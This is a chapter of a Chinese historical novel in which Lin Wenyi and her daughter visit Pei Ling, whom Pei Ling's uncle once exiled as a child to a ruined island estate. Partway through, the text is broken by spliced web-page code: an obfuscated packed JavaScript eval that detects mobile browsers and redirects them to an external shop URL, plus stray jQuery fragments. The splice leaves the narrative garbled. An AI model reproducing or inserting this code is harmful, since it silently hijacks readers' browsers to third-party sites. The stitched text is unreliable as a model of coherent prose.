连日车马颠簸，林闻意携女儿裴晴在这日晌午终于抵达肇庆。立在她们眼前的是两广总督署，作为统辖两省的最高军政衙门，总督署门墙高耸，屋宇弘敞，巍然为一方巨制。


    母女二人远远徘徊在对街，不敢贸然上前。


    裴晴倚着娘亲，相较于林闻意眉间化不开的愁绪，她其实很是期待：“阿妈，您说堂姐会见我们么？”


    林闻意低头抚了抚女儿的手，轻叹了一声：“许是不会的。”


    裴晴闻言，眼中微微黯了黯。虽在预料之内，却仍叫人失落。她转而又小声问：“阿妈，那我小时候可曾见过堂姐？”


    “见过，”林闻意笑了笑，说，“不过那时你还未满周岁，连路都不会走呢。”


    裴晴喃喃道：“我一点印象也没有。”


    “那般小的年纪，哪能记得住什么呢。”林闻意含笑望着她。


    女儿已出落得亭亭玉立，都说女大十八变，可裴晴的模样却似乎没什么变化，只是将幼时那团稚气的五官舒展开来，放大了些，眉眼依然是旧时影子。


    “晴儿来了？”


    林闻意搁下手中的针线篮子，里头是一顶尚未完工的虎头帽，帽檐处缝了圈蓬松的狐狸毛，毛茸茸的，煞是可爱。


    门外，奶娘抱着个粉雕玉琢的奶团子正走进来。


    “我们小晴儿这双眼怎生得这般亮？”林闻意笑着伸手，“来，让阿妈抱抱先。”


    小娃娃咬着手指，见娘亲伸手，便张开胳膊迎上去。林闻意将她搂在怀里，把脸埋进奶香的颈窝，眷恋地蹭了蹭：“阿妈个心肝椗，阿妈个乖女哟。”


    时值冬日，外头风声呜咽，奶娘怕寒气侵着孩子，仔细将门掩好。谁知刚回身走两步，房门便“砰！”一声被猛地推开。


    这突如其来的响动令裴晴惊得一颤，随即“哇”地放声大哭。


    裴照涟拧着眉大步进来，满脸不耐烦：“嚎咩嚎，死咗人咩？收声啦！女仔就系无用，同我抱走佢！”


    奶娘慌忙上前，接来哭得抽噎的裴晴，低头匆匆退了出去。


    林闻意的目光追着女儿，越过门框，而后便看见了静立在门外的一个小姑娘，七八岁年纪，穿着半旧不新的素色袄子，半个身子隐在门扉阴影里，一双乌黑的眼睛正望向屋内。


    “想同我哋裴氏抹黑，到头来连个仔都生唔出一个，只得个赔钱货，个篓摊子仲要我嚟收。”言着，裴照涟嗤笑一声，嫌恶地瞥向门外。


    知道她听不懂，言辞便更加肆无忌惮。


    “佢如果仲在世，点都封唔到国公啦，正系死咗，朝廷才加封个死后哀荣嘛。如果唔系我哋裴氏，佢算乜嘢？休要仗佢那点虚名拿大，自己个阿妈系咩人唔知咩？出嚟卖嘅，生得出咩好嘢？”


    他越说越气，话音跟着脚步在屋里打转，一条胳膊甩开，指天划地：“就系佢当年做嘅好事，得罪班海盗，我哋裴氏受咗几多报复？破咗几多财？我哋肯把你接来潮州，俾口饭你食，已经系天大恩典！你要识感恩，要装香还神啦！”


    说罢，他猛地转向林闻意，厉声吩咐：“你，即刻把佢送去南澳岛个庄！个小祸害睇见都眼冤！”


    “南澳岛？”林闻意蹙着眉，“南澳岛现在多乱，夜里山上都是海盗，再说我们在那边的庄子，不是早已荒废多年了吗？你把她送到那儿去，万一教那些海盗知道她是谁的女儿——”


    话未说完，裴照涟劈手就是一记耳光：“老子做的决定，几时轮到你个妇人说三道四？”


    林闻意被打得偏过头去，脸上火辣辣地疼。


    “愣着做咩？傻咗啊？”裴照涟抬手指她，阴着脸威胁，“仲唔快啲送人过去？再拖拖拉拉，当心连你都俾海盗掳走！”


    言罢，他怒气冲冲拂袖而去。刚走到门首，瞧见那个身影，心头火气又窜上来，喝道：“行开啊！痴线！”


    从沙溪镇到南澳岛，需先走陆路，再转水程。林闻意带着一个丫鬟并两名护卫，先乘马车至饶平县，那里有个码头，可坐船上岛。因抵达饶平县时天色已晚，夜里岛上很不安全，一行人便在县城找了家客栈暂且住下。


    这一路，那孩子始终未发一言，安静得出奇，便是问她饿不饿、渴不渴，也只是点头或摇头。林闻意自己也是做母亲有女儿的人，看着眼前这瘦小沉默的孩子，想着即将要把她送往的地方，心里实在不是滋味，可她能做什么呢？她一个妇道人家什么也改变不了，只能暗地里叹气惋惜罢了。


    翌日清晨登船，一行人及至南澳，未有耽搁，径直寻往裴氏在此处的庄子。


    其实那已称不上是庄子，不过几间墙垣半颓的破屋，院墙头的野草长得都齐腰高。林闻意心中凄然，忙令护卫帮忙拔除荒草，又叫丫鬟清扫了屋内积尘，再将备好的被褥家什铺陈开来，勉强收拾出个能住人的模样。


    忙到日头西斜，眼见暮色将起，林闻意不敢再久留。临走前，她摸索着掏出荷包，此行怕途中生变，未敢多带银钱，遂只摸出块一两碎银。


    林闻意将银子放在她掌心，俯身下来，柔声道：“瞧我，都忘了问你叫什么名儿，你叫什么？”


    “裴泠。”


    裴泠收拢掌心，握紧那枚银块。


    林闻意有些于心不忍：“泠儿莫怕，夜里把门窗闩好就没事，我得空了便来看你。”


    裴泠很轻地点了点头，没有说什么。


    林闻意转身行到院门边，忍不住又回头望了望，小小的身影正立在破败的屋檐下。


    裴泠忽然抬首。


    两人的视线在空中交汇。


    下一瞬，那小小的身影退进屋里，很快阖上了门。


    对着那扇紧闭的门，最后看了一眼，林闻意便转身离开了。


    这之后，林闻意没有回来过，甚至很快就把她忘了。


    所有人都把她忘了，直到多年后宫里传来旨意，裴氏才诚惶诚恐地把她从南澳岛接出来。


    望着眼前巍峨的总督署，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090788|184422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林闻意深吸一口气，终是牵着女儿的手穿过长街，向那两尊石狮守着的朱漆大门走去。


    怀着忐忑的心情候了稍顷，去通传的皂隶便折返回来，躬身一引：“提督大人请二位进去。”


    母女俩在阶前停了停，各自理好襟袖，方才随着引路的皂隶，一级一级跨上石阶。


    迈过高高的门槛，穿过威严的照壁，绕过肃立的辕门与牌楼……


    总督署实在太大了，廊庑迂回，走到后来她们早已不辨东南西北，只觉自己被这庞大的官家气象裹挟着，身不由己地前行。


    皂隶将她们请进一间清净茶室：“夫人小姐且在此间稍候，提督大人眼下正在处理公务，待事了便会前来相见。”


    母女俩赶紧道了谢，规规矩矩地在客椅上坐下。


    两人都不约而同地有些紧张，时不时便抬头望向门外廊间，每一次有人影闪过，心便跟着一提，待看清只是寻常衙役或书办，才悄悄舒一口气。一时之间连她们自己也分不清到底是盼着见这一面，还是怕见这一面。


    又过去半晌，有极轻的脚步声传来，不疾不徐，渐行渐近，母女俩下意识地转头往外看。


    先见一双皂靴自门边转过，旋即一袭玄色暗纹曳撒的袍摆扫过门槛，视线随之往上，腰间镶玉革带，墨发高扎马尾，以银冠固定。


    她迈步进来，逆着门外天光，身形高挑挺拔，容貌英气不凡。


    眼前之人与记忆中那个立在破檐下的小姑娘，已无半分重叠之处，整个人的气场气度如同被重塑过一般，眉眼间敛而不发的威仪，只是走过来，便压得满室空气一沉。


    林闻意与裴晴不由自主地起身。


    裴泠于主座坐下，微一颔首：“二位请坐。”


    母女俩对视一眼，方重新落座，背脊不自觉地挺直了些。


    “上茶。”裴泠朝门外吩咐。


    话音落下不久，便有一名皂隶垂首趋步而入，奉上茶盏并几样精巧茶点，随后无声退去。


    茶烟在三人之间袅袅升起。


    “夫人，”裴泠看向林闻意，直言道，“您此番来意，我已知晓，既蒙来访，我便不与您绕弯了，我是不会回去的。”她语气平淡，“我从未见过祖父，他的神主牌入不入宗祠，是裴氏族内之事，与我无关。”


    这回答原也在预想之内，林闻意甚至觉得，她能允她们进来当面说清，已算全了最后一点情面。


    林闻意轻轻点头，站起身来。一旁的裴晴见状，也随之站起。


    “是我唐突，打扰裴大人了，”林闻意垂眼福了一礼，“我们这就告辞。”


    言讫，母女俩便举步往外走。


    “夫人。”裴泠的声音从身后传来。


    林闻意脚步一顿，回身望去。


    裴泠的视线落在她脸上那抹未散的淤青上，静默了一息，然后缓缓移开，对上她的眼睛。


    “至少十日内，我都在总督署，夫人若有难处，可来此处寻我。”